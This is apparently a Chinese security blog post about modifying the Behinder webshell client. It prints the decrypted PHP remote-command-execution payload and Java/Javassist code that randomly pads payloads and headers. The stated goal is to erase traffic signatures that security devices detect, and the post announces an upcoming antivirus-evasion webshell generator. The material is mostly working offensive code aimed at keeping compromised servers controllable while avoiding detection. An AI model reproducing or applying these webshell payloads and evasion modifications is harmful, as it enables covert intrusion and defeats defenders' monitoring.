最近学习了一下冰蝎和哥斯拉的二开,但也只是学习了一丢丢皮毛,这里记录一下。
继上次二开哥斯拉后,已经过去了七个月了,项目收获了很多star,感谢大家。
上次我们已经对godzilla进行了二开,这次我们继续对冰蝎进行简单的二开。
准备工作 首先致敬一下原版冰蝎,原版地址https://github.com/rebeyond/Behinder
我们这里使用的最新的[Behinder_v4.1【t00ls专版】 Latest ]版本,进行逆向及二开。虽然是4.1版本,但是本文还是在冰蝎3的木马上做研究。冰蝎因为涉及到自己设置加密解密脚本,我们将下篇文章进行研究。
反编译网址,https://www.decompiler.com/,直接拖入jar包即可,很方便。
当然也可以使用idea的插件进行反编译,都一样。
ok开始
环境搭建 这里细节的反编译及配置就不在此文章中体现了,这里配置的过程和哥斯拉一模一样。有兴趣的同学可以回看之前的文章godzilla二开 学习。
只是接着添加主类不是哥斯拉的路径
是在这个路径,这个路径实际上是自己出来的。
要将反编译的src\META-INF/MANIFEST.MF源文件,放到src下面,注意路径。这个主类的路径就自己出来了。
点击选中主类,我们既可以愉快的二开了。
改标题 现在就可以编译了,我们先简单的改一下标题。
复制一份文件,冰蝎的标题在net/rebeyond/behinder/core/Constants.java复制src/net/rebeyond/behinder/core/Constants.java,没有的目录要创建一下。目录一定要对齐。这里一定要清楚,不要在原版的那个和编译的那些文件里改,想改什么,把目录对齐,创建复制文件。
这里就可以看到相关的参数了,随意更改,老样子,我们随便改一下就好。
然后build project 在build artifacts 就可以了。
这里有一点要注意,就是如果你运行生成好的jar,他说数据库未找到,
那么你需要编辑一下环境
这个working directory需要设成你的生成文件的目录,这样,Behinder.Jar就能找到相关的数据库文件了,
当然别忘了把Behinder自带的目录都挪过来。
全局改造 我们知道,godzilla和Behinder都有一些强特征,我们可以加一下混淆或者简单改改。
看网上一些大师傅分析的结果,似乎都比较久远(3.0),我们尝试分析一下。
冰蝎是没有像哥斯拉一样的测试按钮的,我们只能直接打开。
在我们直接打开后,会发现,有三个数据包
我们先来看第一个包,我们就
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 POST /rebeyond/mian2.php HTTP/1.1 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 Content-type: application/x-www-form-urlencoded Referer: http://192.168.133.128:11001/DR6D/NX.php User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 Content-Length: 3096 Host: 192.168.133.128:11001 Connection: close Accept-Encoding: gzip, deflate 3Mn1yNMtoZViV5wotQHPJtww.. HTTP/1.1 200 OK Server: nginx Date: Tue, 01 Jul 2025 12:55:12 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding Set-Cookie: PHPSESSID=ro9l5p843f3h6l9s30mcg8951c; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 286 ...
这里可以看到请求包中有
Accept: application/json, text/javascript, / ; q=0.01 Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 Content-type: application/x-www-form-urlencoded Referer: http://192.168.133.128:11001/DR6D/NX.php User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
这些都是我们可以修改的,
在net/rebeyond/behinder/core/Constants.java
可以看到相关的定义
Accept: application/json, text/javascript, / ; q=0.01,表示客户端(例如浏览器或爬虫)告诉服务器:
“我能接受这些类型的数据格式作为响应内容,按优先级排列如下。”
application/json
客户端最希望服务器返回 JSON 格式的数据;
典型于前后端通信、Ajax 请求、API 接口调用。
text/javascript
如果不能返回 JSON,可以返回 JavaScript 脚本(例如 JSONP 响应);
虽然现在 application/javascript
更标准,但 text/javascript
仍被广泛支持。
\*/\*; q=0.01
这里可以看到都是常用的Accept ,没有什么特殊的。
原版里面给了一个accept,有同学问,不是给了两个么,是的,给了两个,
在同目录下的shellservice里面,作者定义了这个,最后一个永远不会被选中。我们给他加上,并且加几个字符串随机。
这样的话,就可以简单随机了,大概率感觉不会被设备标记,太普通了
一般也都是这种
1 public static String[] userAgents = new String[]{"Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Edg/99.0.1150.55", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0", "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0", "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko"};
ua也定义了一下,看起来也都是一些常见的ua,我们直接给他换成我的edge,google,firefox的。
public static String[] userAgents在这里修改就行。
Accept-Language这里也简单修改一下,
大家仔细观察在上面bp图里面有一个Referer字段,这个字段是作者加的,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 private String getReferer() { String refer; URL u = null; try { u = new URL(this.effectShellEntity.getString("url")); String oldPath = u.getPath(); String newPath = ""; String ext = oldPath.substring(oldPath.lastIndexOf(".")); oldPath = oldPath.substring(0, oldPath.lastIndexOf(".")); String[] parts = oldPath.split("/"); for (int i = 0; i < parts.length; ++i) { if (parts[i].length() == 0) continue; if (new Random().nextBoolean()) { int randomNum = new Random().nextInt(parts[i].length()); if (randomNum == 0) { randomNum = 4; } String randStr = new Random().nextBoolean() ? Utils.getRandomString(randomNum).toLowerCase() : Utils.getRandomString(randomNum).toUpperCase(); newPath = newPath + "/" + randStr; continue; } newPath = newPath + "/" + parts[i]; } newPath = newPath + ext; refer = this.currentUrl.replace(u.getPath(), newPath); } catch (Exception e) { return this.currentUrl; } return refer; }
响应的代码也是在shellservcie里,这一大段的意思就是,先获取根目录如Referer: http://192.168.133.128:11001/,然后随机取几个字符,放到后面,然后是什么语言的脚本就加一下随机几个字符.php,每次替换都是随机的,可能不替换我们当前的目录,可能部替换shell名字,就像下面这样。
如果我们把这个referer去掉,
没有referer 也是正常使用的。
这里猜测作者是想通过referer 进行迷惑设备或者人,我们这里就先给他去掉吧。
在很多网站上我们都可以看到有referer ,这或许会成为检测的标准,或者不会,我们就先去掉吧,后面如果有需要,我们在进行重写。
到此,大概请求的header就差不多了,我看有大佬的文章说,有的Content-Length在5700左右
这个是没有问题的,我们来看一下流量。为什么会产生这个数字。
冰蝎中每个语言都对应了模块
这些模块就是 当我们打开冰蝎的黑框后,我们在命令执行这个页面执行命令,就会调用cmd模块的代码。
当我们执行ls后,
先会发一个大包,aes解开后
需要解开一个base464,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 @error_reporting(0 ); function getSafeStr ($str ) { $s1 = iconv('utf-8' ,'gbk//IGNORE' ,$str ); $s0 = iconv('gbk' ,'utf-8//IGNORE' ,$s1 ); if ($s0 == $str ){ return $s0 ; }else { return iconv('gbk' ,'utf-8//IGNORE' ,$str ); } } function main ($cmd ,$path ) { @set_time_limit(0 ); @ignore_user_abort(1 ); @ini_set('max_execution_time' , 0 ); $result = array (); $PadtJn = @ini_get('disable_functions' ); if (! empty ($PadtJn )) { $PadtJn = preg_replace('/[, ]+/' , ',' , $PadtJn ); $PadtJn = explode(',' , $PadtJn ); $PadtJn = array_map('trim' , $PadtJn ); } else { $PadtJn = array (); } $c = $cmd ; if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) { $c = $c . " 2>&1\n" ; } $JueQDBH = 'is_callable' ; $Bvce = 'in_array' ; if ($JueQDBH ('system' ) and ! $Bvce ('system' , $PadtJn )) { ob_start(); system($c ); $kWJW = ob_get_contents(); ob_end_clean(); } else if ($JueQDBH ('proc_open' ) and ! $Bvce ('proc_open' , $PadtJn )) { $handle = proc_open($c , array ( array ( 'pipe' , 'r' ), array ( 'pipe' , 'w' ), array ( 'pipe' , 'w' ) ), $pipes ); $kWJW = NULL ; while (! feof($pipes [1 ])) { $kWJW .= fread($pipes [1 ], 1024 ); } @proc_close($handle ); } else if ($JueQDBH ('passthru' ) and ! $Bvce ('passthru' , $PadtJn )) { ob_start(); passthru($c ); $kWJW = ob_get_contents(); ob_end_clean(); } else if ($JueQDBH ('shell_exec' ) and ! $Bvce ('shell_exec' , $PadtJn )) { $kWJW = shell_exec($c ); } else if ($JueQDBH ('exec' ) and ! $Bvce ('exec' , $PadtJn )) { $kWJW = array (); exec($c , $kWJW ); $kWJW = join(chr(10 ), $kWJW ) . chr(10 ); } else if ($JueQDBH ('exec' ) and ! $Bvce ('popen' , $PadtJn )) { $fp = popen($c , 'r' ); $kWJW = NULL ; if (is_resource($fp )) { while (! feof($fp )) { $kWJW .= fread($fp , 1024 ); } } @pclose($fp ); } else { $kWJW = 0 ; $result ["status" ] = base64_encode("fail" ); $result ["msg" ] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available" ); $key = $_SESSION ['k' ]; echo encrypt(json_encode($result )); return ; } $result ["status" ] = base64_encode("success" ); $result ["msg" ] = base64_encode(getSafeStr($kWJW )); echo encrypt(json_encode($result )); } function Encrypt ($data ) { @session_start(); $key = $_SESSION ['k' ]; if (!extension_loaded('openssl' )) { for ($i =0 ;$i <strlen($data );$i ++) { $data [$i ] = $data [$i ]^$key [$i +1 &15 ]; } return $data ; } else { return openssl_encrypt($data , "AES128" , $key ); } } $cmd ="Y2QgL3d3dy93d3dyb290L3BocC9yZWJleW9uZC8gO2xz" ;$cmd =base64_decode($cmd );$path ="L3d3dy93d3dyb290L3BocC9yZWJleW9uZC8=" ;$path =base64_decode($path );main($cmd ,$path );
就会得到一个源码里的模板,和执行命令传的参数,
这里cmd解出来就是传递的参数了,因为模板是确定的,那么他的传递的值大小就是确定的,这里因为我们执行的命令不一样,可能不一样,为什么呢,因为我们常常执行的命令都很短,
这里可以看到,执行短的命令就是5740左右,执行长的就会相应的加上一些。
我们这里考虑到如果安全设备标记了这个长度,那就不好了,我们可以在模板中加一些字符串,让这个模板变大一些。首先在net/rebeyond/behinder/core/Params.java
找到相关的代码,因为每次都会加载php,我们刚刚看到的模板也copy出来一份,在net/rebeyond/behinder/core/Params.java中写一个随机位数的字符串,跨度大一些,
1 2 3 4 5 6 7 8 String CHAR_POOL = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" ; Random random = new Random(); int length = random.nextInt(51 ) + 150 ; StringBuilder sb = new StringBuilder(length); for (int i = 0 ; i < length; i++) { sb.append(CHAR_POOL.charAt(random.nextInt(CHAR_POOL.length()))); } String randomStr = sb.toString();
随机150-200字符,太大了也不行,影响传输,慢。
然后再模板中随意定义一个变量
然后在进行替换一下,就好了。
打包编译,看下效果。
可以看到,再执行命令的时候也就可以动态的调整大小了。
相应的,我们再解请求包的时候,也就可以看到这个字符串了。
这里笔者只是加了cmd.php其他的都没加,因为笔者再测试的时候发现,其他功能的请求字符串大小波动比较大,都没有太固定再一个值范围边,如果需要的话,从新copy一份,加上要替换的字符也就可以了。
顺便在加一下jsp的,
需要在net/rebeyond/behinder/core/Params.java的
public static byte[] getTransProtocoledClass(String className, TransProtocol transProtocol) throws Exception {
修改,用到class修改,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 public static byte [] getTransProtocoledClass(String className, TransProtocol transProtocol) throws Exception { String transProtocolName = transProtocol.getName(); if (transProtocol.getId() < 0 ) { String key = ((LegacyCryptor)transProtocol.getCryptor()).getKey(); if (legacyPayloadClassCache.containsKey(transProtocolName) && legacyPayloadClassCache.get(transProtocolName).containsKey(key) && legacyPayloadClassCache.get(transProtocolName).get(key).containsKey(className)) { return legacyPayloadClassCache.get(transProtocolName).get(key).get(className).toBytecode(); } ClassPool cp = ClassPool.getDefault(); CtClass PocCls = cp.getAndRename(String.format("net.rebeyond.behinder.payload.java.%s" , className), Utils.getRandomString(10 )); String chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" ; Random random = new Random(); int length = 150 + random.nextInt(1500 ); StringBuilder sb = new StringBuilder(); for (int i = 0 ; i < length; i++) { sb.append(chars.charAt(random.nextInt(chars.length()))); } String randomValue = sb.toString(); String fieldName = "bohemian_" + random.nextInt(9999 ); String fieldSrc = "private static final String " + fieldName + " = \"" + randomValue + "\";" ; CtField junkField = CtField.make(fieldSrc, PocCls); PocCls.addField(junkField); CtMethod encodeMethod = CtNewMethod.make(transProtocol.getEncode(), PocCls); PocCls.removeMethod(PocCls.getDeclaredMethod("Encrypt" )); PocCls.addMethod(encodeMethod); PocCls.setName(className); PocCls.detach(); Map<String, CtClass> payloadClass = new HashMap<>(); payloadClass.put(className, PocCls); Map<String, Map<String, CtClass>> keyPayloadMap = new HashMap<>(); keyPayloadMap.put(key, payloadClass); legacyPayloadClassCache.put(transProtocolName, keyPayloadMap); return PocCls.toBytecode(); } if (payloadClassCache.containsKey(transProtocolName) && payloadClassCache.get(transProtocolName).containsKey(className)) { return payloadClassCache.get(transProtocolName).get(className).toBytecode(); } ClassPool cp = ClassPool.getDefault(); CtClass PocCls = cp.getAndRename(String.format("net.rebeyond.behinder.payload.java.%s" , className), Utils.getRandomString(10 )); CtMethod encodeMethod = CtNewMethod.make(transProtocol.getEncode(), PocCls); PocCls.removeMethod(PocCls.getDeclaredMethod("Encrypt" )); PocCls.addMethod(encodeMethod); PocCls.setName(className); PocCls.detach(); HashMap<String, CtClass> payloadClass = new HashMap<String, CtClass>(); payloadClass.put(className, PocCls); payloadClassCache.put(transProtocolName, payloadClass); return PocCls.toBytecode(); }
这样每次用的时候执行命令的时候,就会把数据包随机的扩大一些了。
Content-length大小的改变就先到这里吧。
网上还有其他大师傅的文章说,每次客户端请求的时候,客户端的端口号是从
49700左右开始加的,
笔者在测试的时候似乎没发现这个特征,这里不太清楚是因为木马是3.0的原因还是啥,这里就不过多研究了,等下个文章研究4.0木马的时候,我们再来研究是否有这个特征。
接下来,我们还是要看一下冰蝎的流量,从以前写的文章中我们知道,在godzilla中
请求流量php是可以左右加参数的,如 a=s&b=d&pass=balbal,godzilla的木马有两个参数,一个是pass,一个是key,pass是用来传参的,而key是用来异或的,所以pass的值才是server端php所接受的参数,而在Behinder中,php的木马是是用的file_get_contents("php://input");
来接受所有的传递内容,所以我们在看behinder的流量时,会发现,是没有参数传递的。这个函数file_get_contents(“php://input”)和字符串,后面免杀要重点关注。
这里如果在加一些 a=s&b=d&pass=balbal,似乎有些不好,不是那么规整了,这里就不在画蛇添足了。当然,如果想加的话,也不是不行,$post=file_get_contents(“php://input”);,直接获取参数的值给post变量即可。
下面我们来看,返回包,从以前写的文章中我们知道,godzilla的返回包带有密码和key的md5值,在返回包的前后,
也就是这样的,godzilla二开 ,在前面的文章中可以看到我们在二开哥斯拉的时候,给他修改了一下,让他没那么明显,
也就是这样,让他没那么明显,但是我们回过头来看behinder的返回包
看起来似乎就是加密的流量,如果不解密出来的话,没有什么明显的特征,如果这里加成那种带message的其实也行,但是感觉没什么必要,加了有点突兀,这里笔者就先不加了。当然如果你想加也是可以的,在net/rebeyond/behinder/core/ShellService.java中,对data数据进行操作就可以了,当然前提是你的木马也要修改,就是echo一下。
也就是说,整体上来看behinder3.0的流量看起来还是挺正常的。目前来看不太需要进行更改。
总结 这里也只是简单的对冰蝎3.0的数据包流量进行一丢丢的修改,看到网上的一些特征做隐去处理,没有做过多的更改
下个版本 下个版本我们将做免杀,我们都知道,哥斯拉是可以直接生成木马的,而冰蝎不能直接生成,是自带的在,在我们下载的时候,
在server中,这样的话,不是很方便。
下个版本将新增一个免杀生成按钮,
点开后,输入密码生成即可。
目前框架已写好了,php和asp已经做完免杀了,其他的还需要做一些。很快将会完成。
下载、使用 什么,你说看不明白、不想动手、太麻烦,没事,去下载就可以了。https://github.com/Bohemiana/behinder_erkai src代码也以上传,免杀已有框架代码,大家直接下载研究即可。
致谢 最后感谢您读到现在,这篇文章匆忙构成肯定有不周到或描述不正确的地方,期待业界师傅们用各种方式指正勘误。如果您感觉文章写的不错或者工具用起来还行,帮笔者点点stars、给公众号点点关注,先谢谢大家了。
参考 1 https://github.com/rebeyond/Behinder 原版behinder
emmm 太菜了 一直在路上